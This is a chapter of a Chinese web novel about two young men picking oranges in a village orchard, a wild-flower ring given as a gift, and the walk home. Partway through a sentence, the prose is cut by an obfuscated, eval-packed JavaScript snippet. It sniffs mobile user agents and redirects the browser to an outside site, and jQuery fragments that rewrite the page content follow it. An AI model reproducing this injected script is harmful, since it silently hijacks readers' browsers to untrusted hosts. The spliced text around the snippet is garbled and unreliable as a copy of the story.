果园里。
纪敏嘉很认真地摘橘子,一个个黄澄澄的橘子被他小心地码进竹篓里。少年身形清瘦柔韧,上举双臂,露出一截白皙的腰。
楚州行视线流连在纪敏嘉身上,好一会儿才移开,他挑了最甜最好的橘子剥给纪敏嘉吃。
今年雨水偏多,橘子日照不足,口感偏酸。
楚州行挑挑拣拣,也就摘了五六个。
吃了两个,纪敏嘉就不好意思了,他犹犹豫豫看了看竹篓里的橘子,又将视线转向楚州行。
“楚哥,咱们又吃又拿,是不是不太好?”
楚州行闻言挑了挑眉,“你不会觉得这些橘子都是给我们自己摘的吧?”
纪敏嘉没说话,但他的眼神说明了一切。
楚州行“勃然大怒”,冷不防地攥着他的胳膊,直接将他拉到身边。纪敏嘉撞了下他的胸膛,两人就贴在一起。
抬头看楚州行,楚州行目光炯炯,神态故作严肃,纪敏嘉不怕他,小狗狗一样搂住他的脖子。
“在你心中,我是那种连吃带拿的人吗?”楚州行捏了捏他的脸,“我好难过。”嘴上伤心,脸上却一直带着笑意。
纪敏嘉一直蹭楚州行的脖子。他的动作很轻,发丝又很软,楚州行像抱了块沉甸甸软绵绵的毛毯。
纪敏嘉讨好楚州行的方法很少,可楚州行就吃这套。
“楚哥——”他的声音也是软软的。
“好了。”楚州行清了清嗓子,有点燥热,“天天粘着我,都要长在我身上了。”他稍微推开点纪敏嘉,让自己透透气。
解释道:“这篓橘子是给果园摘的。咱们进来又逛又吃,也要帮忙干点活。虽说橘子不值钱,乡里乡亲,李姨也不好意思要咱们的钱,可咱们心里也要有点数。”
园里的帮工吃个几个橘子没人会说。
纪敏嘉明白了,“那我再去拿一个竹篓?”
“一篓子装满了至少四十斤,你背得动?”楚州行无语,“一篓就够了,我们又不是来打黑工的。”
纪敏嘉不服气,“楚哥,你太小瞧我了,我怎么背不动?”
楚州行乐了,现在篓子也没装满,索性让他试试。“你蹲下。”楚州行指导纪敏嘉蹲坐着,让他背上竹篓,慢慢站起来。
篓子大概二十斤,纪敏嘉背得轻轻松松,他故意从楚州行面前走了两圈,昂着脑袋,等待夸奖,“我可以。”
楚州行想笑又不能笑,“那咱们装满,你再试试。”
“好啊。”
也许是有了目标,纪敏嘉摘果子的速度变快了,摘完一棵树又去摘隔壁的。
这棵果树并不高,枝叶也干巴巴的,有点营养不良的样子。纪敏嘉刚摘第一颗就“咦”了声。
这果子摸起来手感不太一样,沉甸甸的,很结实。
楚州行看了眼,“这是橙子。”
“!!!”
纪敏嘉一脸吃惊,“这么小?”
这橙子和橘子差不多大小,平日里他们吃的橙子有这两倍大。
楚州行不觉得奇怪,“这应该是果园的实验种,咱们这算高海拔,气温偏低,橘子更耐寒,橙子长太大,霜一降就都冻死了。”
他接过橙子仔细看了看,“这是枳壳,用它可以嫁接甜橙,可能老板一开始打算用它做砧木,可惜咱们这气候不适合甜橙生存,反倒让它活了下来。”
楚州行说的话里有专业名词,纪敏嘉不太懂,但不妨碍他崇拜楚州行。
“楚哥,你懂的好多。”
楚州行看着橙子树,“我们家种这个,我当然会了解一些。”
纪敏嘉又问:“这里更适宜种橘子,为什么还要种橙子?这么小应该不太好卖吧?”
“橙子经济价值更高,仅从单价来看,一斤橙子可以买两三斤橘子,种橙子赚更多。”
“我们买的橘子也不便宜,相差有这么大?”
楚州行叹了口气,“我们这里种的品种不好,只是普通蜜橘,也没打造出品牌,所以卖不上价,最便宜的时候,两毛钱一斤,你来开车来拖,你要多少卖多少。咱们在帝都买的是砂糖橘,口感比这个好,卖得也更贵。”
他蹲下,抓了把土,捻了捻,“这树也遭罪,开花期也不施肥。”他翻了翻叶片,“都是红蜘蛛咬的,喷药也是乱喷,都打出抗性了。”
纪敏嘉蹲在他身边,“还能救吗?我们给它施施肥?”
“没办法救,从养根的步骤就错了,我估摸着他们也是乱种,能活算运气好,也不指望它来赚钱。”
纪敏嘉不理解,“不指望它赚钱,为什么还要种它?”
楚州行怔了怔,“我们这种橘子都是这样,不管是散户,还是承包大户,他们就以最原始的、代代相传的方法种植,丰歉全看天意,就算有专家来指导种植方法,他们也不会信的。”
他又说:“他们也想赚钱,但他们就指望着这些外来品种能自养自足,如果恰好能收获,果子又卖得上价,他们又会一窝蜂大量种植。”
楚州行不想再聊这些话题,现在的他还没有实力去改变周围人的想法。
何况,想法也不需要专门去纠正,只要有人用科学种植赚到大钱,他们自然会跟风。
“继续装吧。”
竹篓已经装了五分之四,剩下的,纪敏嘉一个人就能装完,楚州行就没上手。
他的目光投向不远处的野花。
......
很快,纪敏嘉就装了整整一篓。他四下搜寻楚州行的身影,“楚哥——”,就看见楚州行站在一棵树后,朝他招手。
他手里还抓着一束野花。
楚州行拿花的姿势很优雅,修长的手指握住花柄,垂在树后,只露出一截短短的花枝。
纪敏嘉看到了楚州行手中的花束,一瞬间,他的表情有了变化。
不受控制地向前跑了几步,也许是表现得太兴奋太迫不及待,他又故意放慢了步伐,装成一无所知的模样,脚步轻快地走到楚州行面前。
“你知道,我要给你什么。”楚州行顺势将花拿了出来。
花就在面前,纪敏嘉还是仰面望着他,说:“我不知道。”
声音很平稳,最后一个字咬得极轻,仿佛一片羽毛轻轻从楚州行心上拂过。
楚州行不由感慨,纪敏嘉的段位太高了。
也许他本人都不知道,这种行为叫做“勾引”。
他嗓子里痒痒的,像堵了一团快要烧起来棉花,爱与欲在他心中焚烧。
将花束递给纪敏嘉,楚州行看着他的眼睛,问:“我摘的野花,喜欢吗?”
“很喜欢。”纪敏嘉郑重地接过,脸凑近花朵嗅花香。
“是两件礼物。”
纪敏嘉抬眸。
这一瞬,他的眼神像要落泪。
楚州行心脏空了一拍,他看着纪敏嘉小心翼翼地从花束中翻出一枚花朵戒指。
拿到戒指一瞬间,纪敏嘉抬头看向楚州行,他的眼睛湿漉漉的,很难形容他此刻的神态,很动人,也很让楚州行心动。
纪敏嘉没试其他手指,很自然就戴在左手无名指上。
很合
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691020|173344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
适,大小刚刚好。
颜色各异的野花被巧妙地镶嵌在草编中,像一个缩小版的花环。
他竖起手,向楚州行展示,“楚哥,你怎么知道我的尺寸?”
楚州行喉咙干干的,他欣赏着纪敏嘉脸上的表情。
面前的人是他的,一直属于他。
“你呢?”
“这是个巧合。”
“是吗?”楚州行淡淡地牵起他的左手,“我和你一样,这是个巧合。”
纪敏嘉不相信,但他不再问。
两人左手牵着左手,又换成右手牵左手,十指相扣,像在玩一场游戏。
很久,楚州行才说:“走吧。”
他主动去背那篓橘子,纪敏嘉争着要背,楚州行拒绝了。
他舍不得纪敏嘉吃苦头,这世上很多苦楚本就没有意义。
背篓的绳子太细,又是麻绳,磨得楚州行肩膀火辣辣地疼,这具身体太年轻,也未经农活历练。
楚州行躬着身,试着调整了下角度,将重心下移。
果然,肩膀上的重量减轻了。
他走在前面,走了几步,觉得有些不对劲,回头看,身后是用全力托举背篓的纪敏嘉。
察觉到楚州行在看他,他仰起脸,灿烂的微笑。
这刻,楚州行脑袋里空了一下。
这路楚州行走过很多遍,上辈子他转租了果园。
这条泥巴路,上辈子他修缮成平坦的水泥路,可楚州行背着沉重的背篓,一步一步,越走越沉,好像灵魂都要被压进土里。
感受着肩膀上的重量,楚州行心颤得厉害。
这辈子,他有纪敏嘉。
路再难走,也有人在他身后了。
.
“哎呦,你们两摘了这么多!”
两人刚走到门口,李姨赶紧来帮忙,她手脚麻利地帮楚州行卸货,“这里都有四五十斤了,装这么满!你这孩子就是客气。”
楚州行擦了擦脸上的汗,“嗐,早知道这重量,我们就不采那么多,采都采了也不能丢掉,就干脆咬咬牙带回来了。”
“你们喝水。”李姨把自己的茶缸给楚州行。
茶缸里泡着降血压的药草根,楚州行怕纪敏嘉不习惯这味道,只说:“咱们吃了一肚子的橘子,哪还渴?李姨,现在天色不早了,我们也不耽误你下班,就先走了。”
李姨看着满满的橘子,说什么也要拿个塑料袋给他们装一点,楚州行推了几次才婉拒成功。
出了门,一抬头就是漫天夕阳。
风把云吹得东一片西一片,霞光如瀑,将天幕都分割成两块,一块是沉寂幽深的大山,一块是璀璨明亮的云彩。
楚州行吹着晚风,闻着空气中秸秆燃烧的特殊气味,心情愉悦,“回家。”
.
“楚哥,我们的自行车没了?”
纪敏嘉急得团团转,他们的车就停在篱笆边,现在却只有浅浅的车轮痕迹。
这里也有小偷?
李姨刚好锁门出来,“刚才遥遥骑走了,我跟她打招呼也没理我,估计有什么急事。”
听到是楚遥骑走的,纪敏嘉也放下心,他看向楚州行,却见他若有所思,“楚哥,怎么了?”
楚州行问:“楚遥走了多久?”
“有一会了,大概两小时前?”
楚州行意味不明地动了动眉。
她看到了。
无所谓。
楚州行又笑了一下,看向一无所知的纪敏嘉,很轻松地说:“看来,咱们要走回家了。”